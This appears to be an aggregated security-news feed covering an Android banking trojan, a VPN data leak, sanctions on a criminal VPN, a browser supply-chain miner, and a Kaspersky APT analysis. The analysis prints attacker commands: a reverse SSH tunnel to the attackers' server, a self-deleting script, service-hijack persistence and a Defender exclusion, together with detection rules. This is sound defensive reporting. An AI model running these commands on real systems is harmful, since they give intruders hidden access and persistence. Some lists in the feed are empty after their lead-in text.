Researchers have uncovered ToxicPanda 2.0, an Android banking Trojan and remote-access tool designed for account takeover and “on-device fraud.”
Not only does ToxicPanda 2.0 have a much larger target list of banks and e-wallets, it has also expanded its capabilities by combining banking overlays, remote access, PIN capture, Android accessibility abuse, and attempted Wireless Debugging automation. Together, those functions can help operators turn a compromised phone into a platform for account takeover, financial fraud, and longer-term device control.
The core objective is on-device fraud. That means that rather than logging in from an attacker-controlled machine, the operator can carry out actions from the victim’s infected phone, taking over the device, IP address, app session, and behavioral context that banks may use when deciding whether a transaction is fraudulent.
ToxicPanda 2.0 is built around abusing Android’s Accessibility Service, a legitimate feature intended to help people interact with their devices. When a victim grants this permission to a malicious app, the malware can inspect interface elements, observe app activity, automate interactions, and place deceptive content over legitimate apps, known as overlays.
ToxicPanda has historically relied on social engineering to persuade users to sideload a malicious Android application rather than install it through Google Play. The latest campaign uses Amazon AWS-hosted buckets to deliver ToxicPanda 2.0 samples.
After installation, the dropper presents a fake installation flow, requests VPN privileges, blocks certain Google Play and Google Play Services network communications, decrypts an embedded payload, and then seeks Accessibility Service permission for the installed payload.
The consequences can include stolen banking usernames and passwords, intercepted or captured PINs, fraudulent transactions, loss of access to the device, and exposure of the phone’s screen-lock secret. An attacker that can operate inside an active banking session from the victim’s device may have a better chance of evading controls designed to identify unfamiliar devices or unusual login locations.
However sophisticated it is, ToxicPanda 2.0 still relies heavily on social engineering to get targets to install the malicious app and give it the permissions it needs. So our main recommendations are:
Although it may require a factory reset to regain control of an infected device, there are some things you can try first:
Please note: The given paths in Settings may differ depending on your device manufacturer or Android version.
If you’re having trouble removing ToxicPanda manually and you can’t install or update Malwarebytes, please reach out to our Support team. They can walk you through the process.
Scammers know more about you than you think.
Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in.
CVE-2026-19586 (CVSS 9.3) is a pre-authentication OS command injection in TP-Link Omada gateways running OpenVPN Server. Patch the firmware now.
Related Posts:
The post CVE-2026-19586 (CVSS 9.3): Pre-Authentication OS Command Injection Hits Omada Gateways appeared first on Daily CyberSecurity.
A Chrome Web Store operation that turns “free VPN” extensions into browser-wide traffic relays controlled by a single proxy provider. The campaign comprises 737 extensions published by at least 40 developer accounts, with 274 masquerading as 66 recognised VPN and privacy brands. The listings have accumulated 75,486 bucketed installs; 516 remained live at collection time, […]
The post Fake VPN Extensions Put Operators in Adversary-in-the-Middle Position Over Chrome Traffic appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
Looking for the best Chrome VPN extensions in 2026 to enhance your online security and privacy? Dive into our list of top-rated VPNs and find your best fit.
The post The 5 Best VPN Extensions for Chrome appeared first on TechRepublic.
A threat actor on the Altenen cybercrime forum is distributing a 17 GB SQL database claimed to have been stolen from SplitVPN, formerly known as NotVPN, a Russian VPN marketed for bypassing internet censorship. Mysterium’s research team obtained a copy, verified it against the raw dump, and confirmed the numbers: roughly 23.4 million user records, 13.6 million device records, 2.6 million payment records, and 58 million connection logs. A VPN that promised zero logs kept tens of millions of them.
“NotVPN’s own marketing promises “No logs or history: We never store your activity or connection logs. 100% privacy guaranteed.” The database contains a table (deviceProxy) that records which device connected to which server, and exactly when — nearly 58 million times, right up to the day of the breach.” states Mysterium’s research team. “No full credit-card numbers were exposed (card data is masked to BIN + last four). But emails, IP addresses, device identifiers, approximate location, subscription status, and recurring-billing tokens were.”
The timestamps run continuously from June 2025 to July 21, 2026, the day of the dump. These aren’t stale test records. The service was still writing connection logs as it was being breached.
The deviceProxy table structure is simple: which device, which server, what time. That’s a connection log. Cross-referenced with the users table, which holds account emails and last-seen IP addresses, and the device table, which holds hardware identifiers, those 58 million rows are enough to reconstruct who connected, from where, to which server, and when, for tens of millions of people.
“A VPN’s single most important promise is that it doesn’t keep the records that would let anyone reconstruct your activity. NotVPN kept them by the tens of millions.” continues the report.
To be precise: the logs record server connections, not destination websites visited. This is metadata, not full browsing history. But metadata is exactly what “we never store your connection logs” promises not to keep.
The seller lists the user base as concentrated in Russia, Iran, India, and Myanmar. That’s not an arbitrary demographic detail.
“The seller lists the user base as concentrated in Russia, Iran, India, and Myanmar. Look at that list again. These are places where people reach for a VPN specifically to get around state censorship: to read independent news, to use blocked messaging apps, to speak freely. For those users, a leaked email-plus-IP-plus-timestamp record isn’t an abstract privacy nuisance.” continues the report. “It’s a document that ties a real person to the act of evading state controls, sitting in a file now circulating on a criminal forum.”
The payment records include masked card numbers, expiry dates, and recurring billing tokens from the Tinkoff payment gateway. Full card numbers aren’t present, but the linkage between a person’s email, their payment history, and a recurring billing token is enough to cause problems.
The admin table exposes five operator accounts, pavel, valerii, maria, andrei, vladislav, with bcrypt password hashes, roles, and a complete admin action log. Account creation dates run from January to June 2026. The database also contains tables pointing to back-office infrastructure for provisioning App Store accounts, which is the plumbing behind distributing a VPN that Russia has been actively removing from app stores.
Mysterium frames the structural lesson clearly: a conventional VPN is a centralized intermediary where the provider, not the user, decides what gets logged. “No-logs” is an unauditable marketing claim backed by nothing the user can verify. When the provider logs anyway, for billing, anti-fraud, capacity planning, or less benign reasons, the user has no way to know until a 17 GB file with their email shows up on a forum. If you used NotVPN or SplitVPN, treat the associated email address and IP as compromised, change passwords everywhere that email was reused, enable two-factor authentication, and factor into your threat model that connection metadata records now exist outside the operator’s control.
Follow me on Twitter: @securityaffairs and Facebook and Mastodon
(SecurityAffairs – hacking, data leak)
In this episode of the podcast, host Paul Roberts interviews Nishawn Smagh of the firm GreyNoise Intelligence about the findings of their State of the Edge report, an analysis of GreyNoise data on risks stemming from compromised edge devices such as broadband routers, VPN gateways, smart home devices and more. Shawn and Paul talk about how attackers are turning edge devices into their favorite entry point, and strategies for organizations to counter the growing risk of compromised edge devices.
The post Edge Devices Are Your Cyber Underbelly. Here’s Why. appeared first on The Security Ledger with Paul F. Roberts.
UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.
UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.
UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.
We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.
On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.
The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.
After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.
The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.
The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:
EntrarAFD_RECV (0x12017)AFD_GET_TDI_HANDLES (0x12037)These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.
The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:
threadid: <Thread ID> pid=<PID>\r\n
After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.
Depending on the received command, there are two execution branches:
<ip_addr>:<port>
During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:
We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:
query user ipconfig /all ping 8.8.8.8 -n 1 net user /do net group /do dir "C:\Program Files (x86)" dir "C:\Program Files (x86)\infotecs\" dir "C:\Program Files (x86)\infotecs\ViPNet Administrator" dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export" dir "C:\Program Files (x86)\infotecs\ViPNet Client" dir "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\" dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>" dir c:\users\[username] query user dir C:\Users\Public\music
In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):
C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]
In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:
!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:
@echo off :loop if exist <selfpath> ( del /F /Q <selfpath> if exist <selfpath> goto loop ) sc stop iplircontrol >nul timeout 5 > nul sc start iplircontrol > nul (goto) 2>nul & del /F /Q %0
If the command text did not match the above list, the command is executed using cmd.exe.
During the analysis of one of the wtsapi32.dll file samples, we found an unused string:
GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n
It refers to the news portal sina.com, which is popular in China.
In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.
Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.
Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.
Kaspersky solutions detect this threat with the following verdicts:
Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.
One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.
It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.
Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.
The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.
The Kaspersky Managed Detection and Response service detects this attack using the following indicators:
wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.Itcsrvup64.exe or Itcsrvup.exe).svchost.exe process.%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).port:address:port and their variations in the command line.
To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:
Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:
(DeviceEventClassID = '4663' OR DeviceEventClassID = '11') AND match(FileName, '.*\\.(exe|dll)') AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:DeviceEventClassID = 7 AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe') AND FileName ilike '%wtsapi32.dll' AND FileName ilike '%\InfoTeCS\VIPNet Update System\%' AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
Itcsrvup64.exe or Itcsrvup.exe:(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')
Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:DeviceEventClassID = '1' AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
svchost.exe process:(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName ilike '%svchost.exe' AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')
DeviceEventClassID = '1' AND match(OldFileName, '.*(plink|ssh).*') AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'
For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.
HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c
HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe
Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140
wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597
5.39.253[.]206
176.32.34[.]135
T1569.002 — System Services: Service Execution
"cmd" /c sc start UrBackupClientBackendT1016 — System Network Configuration Discovery
"cmd" /c arp -a"cmd" /c routeprintT1049 — System Network Connections Discovery
"cmd" /c netstat -anoT1018 — Remote System Discovery
"cmd" /c ping mail.ru -n 2T1082 — System Information Discovery
"cmd" /c systeminfoT1057 — Process Discovery
"cmd" /c tasklistT1007 — System Service Discovery
"cmd" /c sc query UrBackupClientBackendT1083 — File and Directory Discovery
"cmd" /c dir temp*.tmp"cmd" /c dir $temp\*.tmp"cmd" /c dir amgmt*"cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669"cmd" /c dir $public\libraries\"cmd" /c dir d:\WindowsImageBackupT1005 — Data from Local System
"cmd" /c type $temp\TS_E9E3.tmp"cmd" /c type $temp\Acr6F3D.tmpT1074.001 — Local Data Staging
"cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\T1070.004 — Indicator Removal: File Deletion
"cmd" /c del $windir\amgmt.dll"cmd" /c del $public\libraries\APN000B.txtT1543.003 — Create or Modify System Process: Windows Service
sc stop AppMgmtsc delete AppMgmtsc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."sc failure AppMgmt reset= 0 actions= restart/0T1112 — Modify Registry
reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dllreg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMainT1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)
"cmd" /c copy $windir\amgmt* $system32\T1059.003 — Execution of auxiliary scripts
"cmd" /c $windir\amgmt.bat"cmd" /c $windir\insru.cmdT1105 — Ingress Tool Transfer
"cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windirT1562.001 — Impair Defenses: Disable or Modify Tools
"cmd" /c \$windir\puh.exe add $windir\autoit3.exe whiteT1059 / T1218 — Proxy execution via AutoIt
"cmd" /c \$windir\autoit3.exe \$windir\data.datT1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH
c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]
The U.S. Treasury’s Office of Foreign Assets Control sanctioned two individuals and one entity on July 13 for supplying tools and infrastructure to ransomware groups that have caused billions of dollars in losses to American businesses and critical infrastructure.
“Today, the Office of Foreign Assets Control (OFAC) is designating two individuals and one entity enabling ransomware actors’ and other cybercriminals’ malign activities, notably ransomware attacks against Americans. These include First VPN Service (1VPNS), a virtual private network (VPN) provider selling services to ransomware groups, and its administrator, Dmytro Rashevskyi (Rashevskyi). OFAC is also designating Yegeniy Vladimirovich Silayev (Silayev), an individual who sells “cryptors,” which are tools used to disguise ransomware and other malware as safe programs to prevent security systems from detecting or deactivating them.” reads the announcement published by the U.S. Treasury’s Office of Foreign Assets Control.”Ransomware groups utilizing these individuals’ services have caused billions of dollars in losses to U.S. businesses and critical infrastructure providers.”
The action was coordinated with the UK’s Foreign, Commonwealth & Development Office, which sanctioned additional cybercriminals the same day.
“1VPNS is a VPN provider whose principal clients include ransomware actors and other cybercriminals. VPNs, which allow users to encrypt their internet traffic and hide their computers’ true location, have legitimate uses for privacy and security, but can support malicious activity if misused.” continues the announcement. “Numerous ransomware groups have purchased infrastructure from 1VPNS, which they have leveraged in attacks on U.S. companies and institutions—including to hide the origins of their attacks, deploy malware, and manage exfiltrated data.”
Victims included hospitals, financial services firms, and municipal governments. Since 2014, the service advertised openly on cybercriminal forums that it kept no logs and refused to cooperate with law enforcement — the kind of guarantee that attracts exactly the clientele you’d expect.
“Rashevskyi has used false identities, including “Maksim Sorin” and “Roman Chabanenko,” to buy infrastructure from companies that might otherwise refuse to do business with him because of complaints of abuse from internet service providers about illegal activity originating from 1VPNS servers.” states the OFAC.
The sanctions follow a May 2026 takedown of 1VPNS’s website and servers by European law enforcement, with support from the FBI’s Boston Field Office, as part of Operation Saffron led by French and Dutch authorities. The investigation had started in December 2021, with law enforcement infiltrating 1VPNS infrastructure and collecting its user database before dismantling it — 33 servers across 27 countries, and thousands of users exposed.
The second designation targets Yegeniy Vladimirovich Silayev, a Belarusian national who sells cryptors: tools that disguise malware as harmless files to get past security software.
“Unlike legitimate encryption tools, which are designed to protect data and the privacy of the people that own it, cryptors are built specifically to make malware stealthier and more effective by disguising it as harmless files.” continues the announcement.
Silayev supplied these obfuscation services to ransomware operators targeting U.S. and allied organizations. Treasury estimates the combined operations involving 1VPNS and Silayev’s cryptors have caused billions in losses.
The State Department framed the action explicitly as targeting the supply chain behind ransomware, not just the operators themselves.
“These actors supplied ransomware groups with tools to hide their identities, disguise malicious software, and evade detection — enabling attacks that have caused billions of dollars in losses to U.S. critical infrastructure providers.” reads the press release published by the U.S. State Department.
“This action reflects the United States’ commitment to working with allies and partners to disrupt the global cybercrime ecosystem. Today’s designations are coordinated with the United Kingdom’s Foreign, Commonwealth & Development Office, and follow a May 2026 European law enforcement takedown of 1VPNS’s infrastructure, supported by the FBI.”
The designations freeze any U.S.-jurisdiction assets of the named individuals and entities, and bar U.S. persons and businesses from any transactions involving them. The action sits under Trump’s Executive Order 14390 of March 6, 2026, directing agencies to harden U.S. financial and digital systems against foreign cybercrime.
Follow me on Twitter: @securityaffairs and Facebook and Mastodon
(SecurityAffairs – hacking, VPN Provider)
Public Wi-Fi can expose your data. NordVPN locks it down across 10 devices for a year, and it's $40 off today.
The post NordVPN, 1-Year Subscription for 10 Devices is Only $30 With This Code appeared first on TechRepublic.
Bitdefender Antivirus Plus protects one PC for a full year with no monthly fees, and it even comes with a VPN.
The post 1 Year of This Popular Antivirus is on Sale for $20 appeared first on TechRepublic.
No início de junho, pesquisadores de segurança cibernética descobriram que uma versão do navegador Hola para Windows, desenvolvido em Israel (1.251.91.0), baixava um minerador da criptomoeda Monero nos dispositivos dos usuários sem que eles soubessem. Logo após a descoberta, a Hola confirmou que havia sido vítima de um ataque à cadeia de suprimentos. Neste artigo, contamos como o ataque ocorreu, como funciona o minerador e o que isso significa para os usuários afetados.
A empresa israelense Hola é mais conhecida por sua VPN, usada por usuários para contornar restrições geográficas e acessar conteúdo bloqueado em determinadas regiões. Além da VPN, a empresa desenvolveu o navegador Hola, que é baseado em Chromium e traz uma VPN integrada, além de recursos de proxy.
Os primeiros sinais de problemas foram detectados pelos pesquisadores durante uma verificação de conformidade padrão para o programa AppEsteem Windows Certified Application. Como parte da certificação, empresas independentes de segurança cibernética auditam os softwares para garantir que contenham apenas os componentes declarados, sem recursos indesejados ou maliciosos. Mesmo após receberem um certificado, os aplicativos são reavaliados regularmente para garantir que continuem atendendo às rígidas diretrizes da AppEsteem.
Foi durante uma verificação de acompanhamento de rotina que os especialistas notaram um arquivo não autorizado agrupado à versão 1.251.91.0 do navegador Hola para Windows. Após a instalação, o arquivo era salvo automaticamente no disco rígido em C:\Program Files\Hola\me{.}exe. Os pesquisadores logo consideraram o arquivo não confiável por vários indícios suspeitos: ele não constava na lista de arquivos de aplicativos aprovados, não tinha carimbo de data/hora nem assinatura digital. Além disso, o código estava bastante ofuscado, sendo capaz de se injetar diretamente na memória do sistema.
Porém, os pesquisadores notaram que o arquivo não estava presente em todas as instalações. Como a infecção não atingiu todos os usuários, os especialistas logo suspeitaram que uma etapa específica do pipeline de distribuição do navegador Hola havia sido comprometida. A Hola acabou confirmando essa teoria, admitindo que foi vítima de um ataque à cadeia de suprimentos.
Quanto ao próprio arquivo me{.}exe suspeito, uma análise mais detalhada revelou que se tratava de um minerador de criptomoedas furtivo configurado para minerar Monero. Vamos agora analisar os detalhes técnicos de como tudo aconteceu.
Os mineradores de criptomoedas são programas que aproveitam o poder de processamento de um computador para minerar criptomoedas. Embora alguns usuários instalem esses softwares voluntariamente, mineradores executados em uma máquina sem o conhecimento do proprietário são considerados indesejados.
A execução de um minerador oculto pode deixar um dispositivo muito mais lento, aumentar a conta de eletricidade do usuário e reduzir a vida útil do hardware. Dito isto, vale notar que a infecção de um dispositivo por um minerador não significa que as criptomoedas do proprietário serão roubadas; o dano limita-se ao consumo dos recursos de hardware, utilizados pelos invasores para obter ganho financeiro.
Conforme mencionado acima, o download malicioso incluído no navegador Hola inseriu um minerador da criptomoeda Monero nos dispositivos das vítimas. Lançado em 2014 e baseado no protocolo CryptoNote, o Monero atualmente é negociado a cerca de US$ 330 por unidade.
Comparado a moedas mais conhecidas, como Bitcoin ou Ethereum, o Monero é mais exótico e menos conhecido pelo público geral. Esse status de nicho reflete-se no aumento relativamente modesto do seu preço e em uma menor capitalização de mercado, sendo quase 200 vezes menor que a do Bitcoin. No entanto, o Monero tem um benefício que o destaca: a privacidade. Enquanto o Bitcoin e o Ethereum operam em blockchains públicas e transparentes, onde qualquer pessoa pode rastrear as transações, o Monero é uma “moeda de privacidade”. Ele usa mecanismos criptográficos avançados para ocultar o remetente, o destinatário e o valor da transação. Esse anonimato extremo é exatamente o motivo pelo qual os hackers preferem os mineradores ocultos de Monero, pois eles dificultam o rastreamento das transações por autoridades e profissionais de segurança cibernética.
Além disso, o algoritmo do Monero foi projetado para usar CPUs padrão de forma eficiente na mineração. Isso contrasta fortemente com muitas outras criptomoedas populares, que exigem hardware ASIC especializado ou GPUs de ponta para gerar lucro.
Mas vamos analisar melhor o caso do navegador Hola. Ao analisar o código me{.}exe malicioso, os pesquisadores descobriram que ele estava adicionando automaticamente seus próprios arquivos à lista de exclusão do Microsoft Defender. Ao entrar na lista de permissões, o malware contornou o antivírus do Windows, permitindo a execução do minerador de criptomoedas em segundo plano sem qualquer impedimento.
Então, o programa fez uma cópia de si mesmo sob o nome HolaMonitorService{.}exe e configurou um serviço persistente do Windows em segundo plano chamado hola_monitor_svc. Essa manobra permitiu que o malware se instalasse no sistema, sendo iniciado automaticamente sempre que o computador era reiniciado. Para evitar suspeitas por quedas de desempenho, o minerador permanecia inativo e era acionado apenas quando o computador estava ocioso.
Felizmente, a equipe de desenvolvedores da Hola agiu rápido após a detecção do arquivo suspeito. Eles confirmaram a violação da cadeia de suprimentos, mas afirmaram que apenas 0,1% dos usuários foram afetados. Desde então, a empresa reforçou a segurança em torno do pipeline de distribuição de atualizações para garantir que os usuários recebam apenas componentes de software aprovados, certificados e contendo assinatura digital no futuro.
Devido a esse incidente, recomendamos que todos os usuários do navegador Hola o atualizem para a versão mais recente, especialmente aqueles que executam o aplicativo no Windows.
Essa situação é um exemplo clássico de por que é tão importante manter todos softwares atualizados e executar uma Home Security solução robusta de segurança cibernética em todos os seus gadgets. Por exemplo, o Kaspersky Premium fornece alertas em tempo real sobre comportamento suspeito de software e faz o bloqueio instantâneo de ameaças. Como um bônus adicional, a assinatura do Kaspersky Premium inclui uma VPN segura e confiável.
Lembre-se de que mineradores maliciosos de criptomoedas também atacam smartphones, disfarçando-se muitas vezes de jogos populares e até de aplicativos oficiais de serviços governamentais. Confira nossas postagens anteriores para saber mais:
What's the best VPN to use in Australia? Discover the pricing, features, pros and cons of our recommended VPNs for Australia.
The post 6 Best VPNs for Australia in 2026 appeared first on TechRepublic.
Government entities and critical infrastructure were targeted for espionage in SE Asia by attackers using a hybrid toolkit, including custom TinyRCT backdoor.
The post CL-STA-1062 Targets Southeast Asian Governments and Critical Infrastructure appeared first on Unit 42.
